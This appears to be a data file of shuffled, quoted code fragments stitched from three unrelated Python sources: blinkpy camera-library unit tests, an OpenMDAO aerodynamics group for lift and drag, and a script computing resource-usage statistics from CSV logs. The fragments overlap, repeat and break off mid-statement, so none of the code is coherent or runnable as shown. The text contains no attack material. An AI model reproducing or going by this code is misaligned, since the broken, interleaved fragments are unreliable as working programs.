unittest import mock from blinkpy.blinkpy import Blink from", "8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp):", "self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"]", "= True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test sync start", "= True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test get", "True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value", "= None self.mock_start = None def test_bad_status(self, mock_resp): \"\"\"Check that", "None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value =", "missing key from camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5]", "}, { \"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ]", "True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test get events", "= Blink(motion_interval=0) self.blink.last_refresh = 0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] =", "\"\"\"Test handling of failed get camera info function.\"\"\" mock_resp.return_value =", "= {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\":", "self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {\"camera\":", "None def test_bad_status(self, mock_resp): \"\"\"Check that we mark module unavaiable", "\"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ] } sync_module =", "= {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\": True}}", "response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = None mock_resp.side_effect = self.mock_start", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"},", "True}) sync_module.network_info = {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False})", "blinkpy.\"\"\" def setUp(self): \"\"\"Set up Blink module.\"\"\" self.blink = Blink(motion_interval=0)", "not block startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos())", "{\"foo\": None} sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"],", "\"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\":", "mock_resp.return_value = {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\":", "string\", {}] sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"]", "mock_resp): \"\"\"Test handling of failed get events function.\"\"\" mock_resp.return_value =", "{\"network_id\": 8675309} mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self,", "self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test recent video response.\"\"\" mock_resp.return_value =" ]
[ "import LiftDragForceComp from .cd0_comp import CD0Comp from .kappa_comp import KappaComp", "from .kappa_comp import KappaComp from .cla_comp import CLaComp from .cl_comp", "'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp',", "MachComp class AeroGroup(Group): \"\"\" The purpose of the AeroGroup is", "Group from .dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp from", "def initialize(self): self.options.declare('num_nodes', types=int, desc='Number of nodes to be evaluated", "subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'],", "The purpose of the AeroGroup is to compute the aerodynamic", "from .lift_drag_force_comp import LiftDragForceComp from .cd0_comp import CD0Comp from .kappa_comp", "import absolute_import import numpy as np from openmdao.api import Group", "initialize(self): self.options.declare('num_nodes', types=int, desc='Number of nodes to be evaluated in", "promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp',", "\"\"\" def initialize(self): self.options.declare('num_nodes', types=int, desc='Number of nodes to be", "openmdao.api import Group from .dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp import", ": float angle of attack (rad) S : float aerodynamic", "subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'],", "nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn),", "air-relative velocity (m/s) sos : float local speed of sound", ": float atmospheric density (kg/m**3) alpha : float angle of", "of nodes to be evaluated in the RHS') def setup(self):", "KappaComp from .cla_comp import CLaComp from .cl_comp import CLComp from", "import CDComp from .mach_comp import MachComp class AeroGroup(Group): \"\"\" The", "of attack (rad) S : float aerodynamic reference area (m**2)", "subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL', 'CD', 'q', 'S'],", "self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp',", "self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL', 'CD', 'q',", "to compute the aerodynamic forces on the aircraft in the", "import KappaComp from .cla_comp import CLaComp from .cl_comp import CLComp", "= self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'],", ".dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp from .cd0_comp import", "compute the aerodynamic forces on the aircraft in the body", "__future__ import absolute_import import numpy as np from openmdao.api import", "body frame. Parameters ---------- v : float air-relative velocity (m/s)", "desc='Number of nodes to be evaluated in the RHS') def", "float angle of attack (rad) S : float aerodynamic reference", "import numpy as np from openmdao.api import Group from .dynamic_pressure_comp", "import DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp from .cd0_comp import CD0Comp", ".cd_comp import CDComp from .mach_comp import MachComp class AeroGroup(Group): \"\"\"", "import CD0Comp from .kappa_comp import KappaComp from .cla_comp import CLaComp", "promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp',", "frame. Parameters ---------- v : float air-relative velocity (m/s) sos", "(rad) S : float aerodynamic reference area (m**2) \"\"\" def", "self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp',", "subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn),", "import CLaComp from .cl_comp import CLComp from .cd_comp import CDComp", "in the RHS') def setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn),", "promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL', 'CD', 'q', 'S'], promotes_outputs=['f_lift',", "speed of sound (m/s) rho : float atmospheric density (kg/m**3)", "'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp',", "from .mach_comp import MachComp class AeroGroup(Group): \"\"\" The purpose of", "the aircraft in the body frame. Parameters ---------- v :", "the body frame. Parameters ---------- v : float air-relative velocity", "from .cd0_comp import CD0Comp from .kappa_comp import KappaComp from .cla_comp", "from .cd_comp import CDComp from .mach_comp import MachComp class AeroGroup(Group):", "forces on the aircraft in the body frame. Parameters ----------", "the RHS') def setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v',", "(m/s) sos : float local speed of sound (m/s) rho", "DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp from .cd0_comp import CD0Comp from", "to be evaluated in the RHS') def setup(self): nn =", "'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL', 'CD', 'q', 'S'], promotes_outputs=['f_lift', 'f_drag'])", "absolute_import import numpy as np from openmdao.api import Group from", "of sound (m/s) rho : float atmospheric density (kg/m**3) alpha", "self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn),", "from .cla_comp import CLaComp from .cl_comp import CLComp from .cd_comp", "of the AeroGroup is to compute the aerodynamic forces on", "LiftDragForceComp from .cd0_comp import CD0Comp from .kappa_comp import KappaComp from", "on the aircraft in the body frame. Parameters ---------- v", "self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0'])", "the aerodynamic forces on the aircraft in the body frame.", "import Group from .dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp", ".lift_drag_force_comp import LiftDragForceComp from .cd0_comp import CD0Comp from .kappa_comp import", "(m**2) \"\"\" def initialize(self): self.options.declare('num_nodes', types=int, desc='Number of nodes to", "float local speed of sound (m/s) rho : float atmospheric", "subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'],", "CD0Comp from .kappa_comp import KappaComp from .cla_comp import CLaComp from", "alpha : float angle of attack (rad) S : float", ".mach_comp import MachComp class AeroGroup(Group): \"\"\" The purpose of the", "self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho',", ": float air-relative velocity (m/s) sos : float local speed", "---------- v : float air-relative velocity (m/s) sos : float", "reference area (m**2) \"\"\" def initialize(self): self.options.declare('num_nodes', types=int, desc='Number of", "attack (rad) S : float aerodynamic reference area (m**2) \"\"\"", "from __future__ import absolute_import import numpy as np from openmdao.api", ".cla_comp import CLaComp from .cl_comp import CLComp from .cd_comp import", "AeroGroup(Group): \"\"\" The purpose of the AeroGroup is to compute", "CLaComp from .cl_comp import CLComp from .cd_comp import CDComp from", "'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL',", "aircraft in the body frame. Parameters ---------- v : float", "AeroGroup is to compute the aerodynamic forces on the aircraft", "promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn),", "as np from openmdao.api import Group from .dynamic_pressure_comp import DynamicPressureComp", "def setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach'])", "velocity (m/s) sos : float local speed of sound (m/s)", "promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD'])", "from .cl_comp import CLComp from .cd_comp import CDComp from .mach_comp", "promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'],", "self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha', 'CLa',", "sound (m/s) rho : float atmospheric density (kg/m**3) alpha :", "is to compute the aerodynamic forces on the aircraft in", ".cl_comp import CLComp from .cd_comp import CDComp from .mach_comp import", "promotes_inputs=['CD0', 'alpha', 'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q'])", "in the body frame. Parameters ---------- v : float air-relative", "CLComp from .cd_comp import CDComp from .mach_comp import MachComp class", "self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn),", "import CLComp from .cd_comp import CDComp from .mach_comp import MachComp", "local speed of sound (m/s) rho : float atmospheric density", "float aerodynamic reference area (m**2) \"\"\" def initialize(self): self.options.declare('num_nodes', types=int,", "promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL'])", "promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0', 'alpha',", "sos : float local speed of sound (m/s) rho :", "promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn), promotes_inputs=['CD0',", "S : float aerodynamic reference area (m**2) \"\"\" def initialize(self):", "angle of attack (rad) S : float aerodynamic reference area", "area (m**2) \"\"\" def initialize(self): self.options.declare('num_nodes', types=int, desc='Number of nodes", ": float local speed of sound (m/s) rho : float", "CDComp from .mach_comp import MachComp class AeroGroup(Group): \"\"\" The purpose", "'CLa', 'kappa'], promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn),", ": float aerodynamic reference area (m**2) \"\"\" def initialize(self): self.options.declare('num_nodes',", "subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha', 'CLa'], promotes_outputs=['CL']) self.add_subsystem(name='CD_comp', subsys=CDComp(num_nodes=nn),", "v : float air-relative velocity (m/s) sos : float local", "'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa'])", "self.options.declare('num_nodes', types=int, desc='Number of nodes to be evaluated in the", "promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa'])", "promotes_outputs=['CD']) self.add_subsystem(name='q_comp', subsys=DynamicPressureComp(num_nodes=nn), promotes_inputs=['rho', 'v'], promotes_outputs=['q']) self.add_subsystem(name='lift_drag_force_comp', subsys=LiftDragForceComp(num_nodes=nn), promotes_inputs=['CL', 'CD',", "numpy as np from openmdao.api import Group from .dynamic_pressure_comp import", "import MachComp class AeroGroup(Group): \"\"\" The purpose of the AeroGroup", "types=int, desc='Number of nodes to be evaluated in the RHS')", "subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['kappa']) self.add_subsystem(name='cla_comp', subsys=CLaComp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CLa']) self.add_subsystem(name='CL_comp', subsys=CLComp(num_nodes=nn), promotes_inputs=['alpha',", "nodes to be evaluated in the RHS') def setup(self): nn", "atmospheric density (kg/m**3) alpha : float angle of attack (rad)", "np from openmdao.api import Group from .dynamic_pressure_comp import DynamicPressureComp from", "setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp',", "evaluated in the RHS') def setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp',", "be evaluated in the RHS') def setup(self): nn = self.options['num_nodes']", "purpose of the AeroGroup is to compute the aerodynamic forces", "from openmdao.api import Group from .dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp", "(kg/m**3) alpha : float angle of attack (rad) S :", "class AeroGroup(Group): \"\"\" The purpose of the AeroGroup is to", "float atmospheric density (kg/m**3) alpha : float angle of attack", "RHS') def setup(self): nn = self.options['num_nodes'] self.add_subsystem(name='mach_comp', subsys=MachComp(num_nodes=nn), promotes_inputs=['v', 'sos'],", "Parameters ---------- v : float air-relative velocity (m/s) sos :", "\"\"\" The purpose of the AeroGroup is to compute the", "rho : float atmospheric density (kg/m**3) alpha : float angle", ".cd0_comp import CD0Comp from .kappa_comp import KappaComp from .cla_comp import", "the AeroGroup is to compute the aerodynamic forces on the", "aerodynamic forces on the aircraft in the body frame. Parameters", "aerodynamic reference area (m**2) \"\"\" def initialize(self): self.options.declare('num_nodes', types=int, desc='Number", "(m/s) rho : float atmospheric density (kg/m**3) alpha : float", "float air-relative velocity (m/s) sos : float local speed of", "density (kg/m**3) alpha : float angle of attack (rad) S", "from .dynamic_pressure_comp import DynamicPressureComp from .lift_drag_force_comp import LiftDragForceComp from .cd0_comp", "promotes_inputs=['v', 'sos'], promotes_outputs=['mach']) self.add_subsystem(name='cd0_comp', subsys=CD0Comp(num_nodes=nn), promotes_inputs=['mach'], promotes_outputs=['CD0']) self.add_subsystem(name='kappa_comp', subsys=KappaComp(num_nodes=nn), promotes_inputs=['mach'],", ".kappa_comp import KappaComp from .cla_comp import CLaComp from .cl_comp import" ]
[ "was defined above, then don't define it again 'mem_used' :", "with open(resultsFileName, 'w') as scsv: print 'Writing to file: %s'", "in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime =", "funcName(func): return func.__name__ if __name__ == \"__main__\": parser = argparse.ArgumentParser(description", "timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime == False: TIME_GAPS.append(float(row[0]) -", "= [] if os.path.isfile(resultsFile): # the user must have defined", "print '\\nFinished.' def q1(seq): return numpy.percentile(seq, 25) def median(seq): return", "'Time' }, 'num_threads' : { 'data' : [], 'title' :", "help='Name of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched", "Memory Used (megabytes)' }, 'mem_avai' : { 'data' : [],", "'title' : 'CPU Utilisation' }, 'mem_rss' : { 'data' :", "headerOrder = dataCsv.next() firstTime = None for row in dataCsv:", "stat(TIME_GAPS))) scsv.write('%s\\n' % line) # write start and end time", "dataCsv.next() firstTime = None for row in dataCsv: # Elapsed", "plot configuration above. headerOrder = [] # put all the", "i < len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i = i + 1", "'\\nFinished.' def q1(seq): return numpy.percentile(seq, 25) def median(seq): return numpy.percentile(seq,", "}, 'io_read_bytes' : { 'data' : [], 'title' : 'Disk", "STATS ### # if the stat was defined above, then", "'title' : 'Process Count' } } # due to dictionaries", "the associated plot configuration above. headerOrder = [] # put", "= [] with open(resultsFile, 'r') as fcsv: dataCsv = csv.reader(fcsv,", ": [], 'title' : 'Disk IO Read Count' }, 'io_read_bytes'", "'title' : 'Time' }, 'num_threads' : { 'data' : [],", ": { # ['data-type' : float,] # 'data' : [],", "(megabytes)' }, 'mem_avai' : { 'data' : [], 'data-type' :", "'mem_avai' : { 'data' : [], 'data-type' : float, 'title'", "'io_read_count' : { 'data' : [], 'title' : 'Disk IO", "[] toolNames = [] if os.path.isfile(resultsFile): # the user must", "headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for measurement in headerOrder:", ": 'Resident Set Size (RSS) Memory Utilisation' }, 'mem_vms' :", "%s.\\nExiting.\\n\\n' % resultsFile return 0 resultsFileName = '%s_stats.csv' % resultsFile", "the time (as above) for measurement in headerOrder: if 'data-type'", "= [] config = { 'data-type-default' : int } #", "'data' : [], 'data-type' : float, 'title' : 'Resident Set", "stat was defined above, then don't define it again 'mem_used'", "'Disk IO Read Count' }, 'io_read_bytes' : { 'data' :", "'Process Count' } } # due to dictionaries not being", "False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i = 0 # skip zero", "Read Volume' }, 'io_write_count' : { 'data' : [], 'title'", "used #if args.wincntxmnu: # args.t = raw_input('Enter the plot prefix:", "each is a function name. # user-defined functions at bottom", "headerOrder: line = '%s' % measurement for stat in stats:", "% (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1]", "multiple files matching the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart =", "dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames)", "toolNames[i]) i = i + 1 def stat(resultsFile, toolName): print", "# put all the times in a list timeRecords =", "(in csv format)') parser.add_argument('-t', help='Name of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates", "def stat(resultsFile, toolName): print 'Running for: %s\\n' % toolName TIME_ELAPSED", "calculated separately, run the stats on them tool # messy,", "[] with open(resultsFile, 'r') as fcsv: dataCsv = csv.reader(fcsv, delimiter=',')", "# }, # --- end sample --- ### START CHILD", "know. sorry! line = '%s' % 'time_gaps' for stat in", "= csv.reader(fcsv, delimiter=',') # Set the headerOrder and remove the", "file: %s' % resultsFileName # write headers line scsv.write('measurement,%s\\n' %", "the associated CSV columns # --- sample --- # 'stat_name'", "# --- end sample --- ### START CHILD PROCESS STATS", "[] TIME_GAPS = [] config = { 'data-type-default' : int", ": { 'data' : [], 'title' : 'Number of Threads'", "{ 'data' : [], 'title' : 'Virtual Memory Size (VMS)", "{ 'data' : [], 'title' : 'Child Process Count' },", "'mem_used' : { 'data' : [], 'data-type' : float, 'title'", "### # if the stat was defined above, then don't", "{ 'data' : [], 'title' : 'Disk IO Write Count'", "filenames) in os.walk(dir): for filename in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b'", "#if args.wincntxmnu: # args.t = raw_input('Enter the plot prefix: ')", "[], 'data-type' : float, 'title' : 'Time' }, 'num_threads' :", "+ 1 def stat(resultsFile, toolName): print 'Running for: %s\\n' %", "len(timeRecords) == 0: print 'No data recorded in %s.\\nExiting.\\n\\n' %", "line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for measurement in headerOrder: line", "'Resident Set Size (RSS) Memory Utilisation' }, 'mem_vms' : {", "in headerOrder: line = '%s' % measurement for stat in", "dataCsv = csv.reader(fcsv, delimiter=',') # Set the headerOrder and remove", "Write Count' }, 'io_write_bytes' : { 'data' : [], 'title'", "we need to know the order the data appears and", "reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename))", "[], 'title' : 'Disk IO Write Count' }, 'io_write_bytes' :", "[], 'data-type' : float, 'title' : 'CPU Utilisation' }, 'mem_rss'", "((timeRecords[-1] - timeRecords[0]) / 60))) print '\\nFinished.' def q1(seq): return", "func.__name__ if __name__ == \"__main__\": parser = argparse.ArgumentParser(description = 'Plotter", "measurement in headerOrder: line = '%s' % measurement for stat", "associated plot configuration above. headerOrder = [] # put all", "= { 'data-type-default' : int } # the aggregate functions", "'cpu_percent' : { 'data' : [], 'data-type' : float, 'title'", "'mem_rss' : { 'data' : [], 'data-type' : float, 'title'", "Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime == False:", "toolNames = [] if os.path.isfile(resultsFile): # the user must have", "resultsFile with open(resultsFileName, 'w') as scsv: print 'Writing to file:", "re def main(resultsFile, toolName): filesToCalc = [] toolNames = []", "'data-type' : float, 'title' : 'CPU Utilisation' }, 'mem_rss' :", ": 'Disk IO Read Volume' }, 'io_write_count' : { 'data'", "% line) # write start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' %", "= 0 while i < len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i =", "Count' }, 'io_read_bytes' : { 'data' : [], 'title' :", "to dictionaries not being in order, we need to know", "stats was launched from the Windows context menu. See README", "START SYSTEM STATS ### # if the stat was defined", "'Physical Memory Used (megabytes)' }, 'mem_avai' : { 'data' :", "stat(filesToCalc[i], toolNames[i]) i = i + 1 def stat(resultsFile, toolName):", "Threads' }, 'cpu_percent' : { 'data' : [], 'data-type' :", "None for row in dataCsv: # Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0])", "def mean(seq): return sum(seq) / len(seq) def q3(seq): return numpy.percentile(seq,", "}, 'cpu_percent' : { 'data' : [], 'data-type' : float,", "'%s' % 'time_gaps' for stat in stats: line = ('%s,%s'", "Process Count' }, ### START SYSTEM STATS ### # if", "firstTime == False: TIME_GAPS.append(float(row[0]) - 